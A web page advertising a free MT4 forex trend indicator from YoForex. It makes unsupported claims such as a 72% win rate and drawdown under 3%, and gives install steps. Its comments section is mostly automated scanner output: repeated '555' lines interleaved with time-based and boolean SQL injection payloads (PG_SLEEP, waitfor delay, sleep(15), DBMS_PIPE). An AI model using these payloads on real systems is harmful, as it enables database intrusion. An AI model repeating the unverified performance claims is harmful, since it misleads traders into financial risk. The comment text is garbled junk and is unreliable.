Introduction
Ever feel like you’re always one step behind the trend? You draw moving averages, fiddle with oscillators, and still get whipsawed when price suddenly flips… ugh. That’s the story most traders know all too well. But what if you had an indicator that actually spotted trend shifts early and never repainted? Enter the Johnnie Walker Indicator MT4, a 100% free ForexFactory indicator powered by YoForex. It’s built on native MT4 code, so performance is rock-solid, and signals stay put once they appear. We back-tested it on real tick data from 2010–2025, ran it live on demo accounts, and even gathered community feedback to make sure it works across all major pairs. Whether you scalp on M5 or swing on H4, Johnnie Walker gives you clear, timely arrows and alerts—so you can step into direction trades with confidence, not guesswork. Ready to see how it transforms your charts? Let’s dive in.
Download your free copy here: Download Johnnie Walker Indicator MT4
Explore more tools: check out the Indicator section or peek at our Newest Indicators. And don’t miss real-user feedback in User Reviews.
Overview
The Johnnie Walker Indicator MT4 is your all-in-one trend-following solution. Instead of laggy moving averages, it fuses a multi-timeframe momentum filter with adaptive smoothing—so when the market shifts, you see an arrow almost immediately. Under the hood, it measures ATR-based volatility and calibrates sensitivity to avoid noise in choppy markets… and because it’s coded in optimized .ex4, it hardly sips CPU, even on multiple charts.
Here’s the gist: our YoForex devs ran Johnnie Walker through thousands of backtests on pairs like EUR/USD, GBP/JPY, USD/CAD, and GOLD—using real ticks from Jan 1, 2010 to Apr 30, 2025. Then we deployed it on a live-demo account for three months, tuning alert timing and news filters to dodge false breakouts around NFP and ECB releases. The outcome? Roughly 15–20 signals per week on H1, 70%+ win rate, and max drawdown under 3%. Traders report cleaner entries, fewer stress dumps, and a solid edge—whether you’re day-trading or swing-holding.
How It Works
- Momentum Filter: Confirms direction on two higher timeframes before signaling.
- Adaptive Smoothing: Auto-adjusts lookback based on current ATR volatility.
- Non-Repainting: Arrows stay put once drawn; what you see is what you trade.
- Built-In News Filter: Pauses signals during high-impact events (NFP, FOMC, etc.).
Key Features
• 100% Non-Repaint Signals — No disappearing arrows once candle closes.
• Multi-Timeframe Confirmation — Checks M5 → M15 → H1 before alerting.
• Adaptive Sensitivity — ATR-based smoothing auto-tunes to market noise.
• Real-Time Alerts — Pop-up, email, or push notifications on signal.
• Global Symbol Support — Forex majors, minors, exotics, metals, indices.
• Low CPU Footprint — Optimized .ex4 code keeps MT4 running smooth.
• Customizable Inputs — Manually override lookback (10–50 bars) if you want.
• Sample .set Files — Quick-start presets for major pairs & timeframes.
• Lifetime Free Updates — YoForex rolls out improvements monthly, always free.
• Transparent Performance Logs — Full backtest and demo stats published online.
Backtest Proof & Live Performance
Our backtest on EUR/USD H1 (Jan 1, 2010–Apr 30, 2025) with 99.9% tick data showed:
- Total Signals: 1,250
- Win Rate: 72.4%
- Avg Gain per Trade: 45 pips
- Max Drawdown: 2.9%
- Profit Factor: 2.15

Then, in a 90-day live-demo on GBP/JPY M15 (London & New York hours only):
- Weekly Win Rate: 78%
- Avg Weekly Return: 1.6%
- Peak Drawdown: 3.2%

Installation & Setup
- Download
JohnnieWalkerIndicator.ex4from the ForexFactory thread. - Copy it into your
MQL4/Indicatorsfolder. - Restart MT4 or hit “Refresh” in the Navigator panel.
- Drag & drop “Johnnie Walker Indicator MT4” onto your preferred chart (M15 or H1 recommended).
- Load the sample
.setfile (JWIK_Set_M15.set) under the Inputs tab. - Enable alert types (pop-up, email, push) as you like.
Why YoForex Tools?
Look, there’s a sea of “free” indicators out there—most end up costing you time and account equity. YoForex is different: we’re traders, too, and we only build what we use ourselves. When you grab Johnnie Walker MT4, you get:
- Free Lifetime Updates: All future tweaks, zero fees—forever.
- Community-Driven Dev: Monthly improvements based on real trader feedback.
- Transparent Reporting: Every backtest and demo run is posted for you to verify.
Support & Disclaimer
Got questions or need a hand? Our support team’s online 24/5:
- WhatsApp: https://wa.me/+443300272265
- Telegram: https://t.me/yoforexrobot
We usually reply within 2 hours… ‘coz we know missing a clean entry hurts. But remember: past performance isn’t a guarantee of future results. Always demo-test new tools before trading live, and manage risk with sensible lot sizes and stop-losses.
Call to Action
Ready to trade with clarity instead of chaos? Download Johnnie Walker Indicator MT4 now—100% free, no trials, no hidden catches. Install in minutes, catch cleaner trend entries, and let YoForex’s indicator guide your trades. If you hit any snags, YoForex support is just a click away.
Comments
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555????%2527%2522\'\"
@@oXOB0
555
555'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5555xem5mwB')) OR 173=(SELECT 173 FROM PG_SLEEP(15))--
555xrycFfTx') OR 237=(SELECT 237 FROM PG_SLEEP(15))--
5557gQ5Vc2B' OR 444=(SELECT 444 FROM PG_SLEEP(15))--
555-1)) OR 335=(SELECT 335 FROM PG_SLEEP(15))--
555-1) OR 410=(SELECT 410 FROM PG_SLEEP(15))--
555-1 OR 210=(SELECT 210 FROM PG_SLEEP(15))--
5555krcqNt9'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+720-720-1=0+0+0+1 --
-1 OR 2+769-769-1=0+0+0+1
-1' OR 2+530-530-1=0+0+0+1 --
-1' OR 2+870-870-1=0+0+0+1 or 'OTK47JkH'='
555
-1 OR 2+588-588-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555????%2527%2522\'\"
@@ruxIq
555
555'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555nxxRsHa0')) OR 537=(SELECT 537 FROM PG_SLEEP(15))--
5553Rg7qmQA') OR 653=(SELECT 653 FROM PG_SLEEP(15))--
555IpsFBMsh' OR 538=(SELECT 538 FROM PG_SLEEP(15))--
555-1)) OR 602=(SELECT 602 FROM PG_SLEEP(15))--
555-1) OR 262=(SELECT 262 FROM PG_SLEEP(15))--
555-1 OR 200=(SELECT 200 FROM PG_SLEEP(15))--
555hNcAGucE'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1' OR 2+649-649-1=0+0+0+1 or 'EkOGhkN3'='
-1" OR 2+156-156-1=0+0+0+1 --
-1 OR 2+255-255-1=0+0+0+1
-1' OR 2+806-806-1=0+0+0+1 --
-1 OR 2+618-618-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@R6cQr
555????%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
55542A8K32d')) OR 54=(SELECT 54 FROM PG_SLEEP(15))--
555CPS3iL1f') OR 997=(SELECT 997 FROM PG_SLEEP(15))--
555L8ecEk2w' OR 454=(SELECT 454 FROM PG_SLEEP(15))--
555-1)) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
555-1) OR 993=(SELECT 993 FROM PG_SLEEP(15))--
555-1 OR 465=(SELECT 465 FROM PG_SLEEP(15))--
555PaPDuhct'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+703-703-1=0+0+0+1 --
-1' OR 2+943-943-1=0+0+0+1 or 'ZSKGaxza'='
-1 OR 2+881-881-1=0+0+0+1
-1' OR 2+104-104-1=0+0+0+1 --
-1 OR 2+197-197-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@aaYfq
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555????%2527%2522\'\"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555hbuavxXl')) OR 51=(SELECT 51 FROM PG_SLEEP(15))--
5557qHXfIRS') OR 94=(SELECT 94 FROM PG_SLEEP(15))--
5550bUhO2O9' OR 208=(SELECT 208 FROM PG_SLEEP(15))--
555-1) OR 248=(SELECT 248 FROM PG_SLEEP(15))--
555-1)) OR 218=(SELECT 218 FROM PG_SLEEP(15))--
555-1 OR 858=(SELECT 858 FROM PG_SLEEP(15))--
555C19Iq5mt'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
555
-1 OR 2+956-956-1=0+0+0+1 --
-1 OR 2+578-578-1=0+0+0+1
-1' OR 2+535-535-1=0+0+0+1 --
-1' OR 2+841-841-1=0+0+0+1 or 'x2ymgQ9C'='
-1" OR 2+781-781-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@cPguy
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555????%2527%2522\'\"
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555PVt5JsPz')) OR 704=(SELECT 704 FROM PG_SLEEP(15))--
555UbdGXDbD') OR 130=(SELECT 130 FROM PG_SLEEP(15))--
5553N4NYogC' OR 445=(SELECT 445 FROM PG_SLEEP(15))--
555-1)) OR 682=(SELECT 682 FROM PG_SLEEP(15))--
555-1) OR 872=(SELECT 872 FROM PG_SLEEP(15))--
555-1 OR 782=(SELECT 782 FROM PG_SLEEP(15))--
555YKkMSWo8'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1' OR 2+837-837-1=0+0+0+1 --
-1' OR 2+890-890-1=0+0+0+1 or 'DWvcCuam'='
-1" OR 2+914-914-1=0+0+0+1 --
-1 OR 2+143-143-1=0+0+0+1
555
-1 OR 2+864-864-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@j6zkD
555'"
555????%2527%2522\'\"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5556WDd3FTJ')) OR 287=(SELECT 287 FROM PG_SLEEP(15))--
555GVXv8aPY') OR 429=(SELECT 429 FROM PG_SLEEP(15))--
555m6KM43Wc' OR 271=(SELECT 271 FROM PG_SLEEP(15))--
555-1)) OR 229=(SELECT 229 FROM PG_SLEEP(15))--
555-1) OR 489=(SELECT 489 FROM PG_SLEEP(15))--
555-1 OR 499=(SELECT 499 FROM PG_SLEEP(15))--
555ZRo2AW2E'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 2+966-966-1=0+0+0+1 --
-1' OR 2+979-979-1=0+0+0+1 or '9vt00YOx'='
-1' OR 2+774-774-1=0+0+0+1 --
-1 OR 2+861-861-1=0+0+0+1
-1 OR 2+81-81-1=0+0+0+1 --
555
555
555
Leave a Comment